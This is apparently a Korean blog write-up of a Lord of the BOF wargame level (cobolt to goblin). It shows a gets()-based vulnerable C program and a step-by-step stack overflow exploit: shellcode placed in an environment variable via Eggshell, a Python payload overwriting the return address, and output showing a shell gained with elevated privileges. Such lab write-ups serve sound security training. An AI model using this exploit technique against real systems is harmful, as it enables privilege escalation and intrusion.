본문 바로가기

WarGame/LOB

[LOB] cobolt :: 환경변수를 이용한 BOF


  • user : cobolt
  • 문제 : goblin


goblin.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/
 
int main()
{
    char buffer[16];
    gets(buffer); // vulnerability!!!
    printf("%s\n", buffer);
}
cs


이전 문제와 거의 흡사합니다. 차이점은 strcpy() 함수 대신에 gets() 함수를 사용하고 있고 gets() 함수에서 입력 크기를 제한하고 있지 않기 때문에 buffer를 Overflow 시킬 수 있습니다.


Step 1. 이전과 마찬가지로 GDB를 이용하여 buffer의 크기를 알아 보면 16 Byte인 것을 확인할 수 있습니다.


Step 2. Eggshell을 이용하여 환경변수에 shellcode를 등록합니다.


1
2
3
4
[cobolt@localhost cobolt]$ /tmp/eggshell
Using address: 0xbffffae8
[cobolt@localhost cobolt]$ /tmp/pegg
Addr = 0xbffff4d2
cs


Step 3. buffer와 SFP를 A 문자로 덮어씌우고 RET에 환경변수 주소를 삽입합니다. 다음과 같은 payload를 만들 수 있습니다.


1
2
3
4
5
6
7
[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xd2\xf4\xff\xbf"';cat) | ./goblin
AAAAAAAAAAAAAAAAAAAA稜?
id
uid=503(goblin) gid=502(cobolt) egid=503(goblin) groups=502(cobolt)
my-pass
euid = 503
hackers proof
cs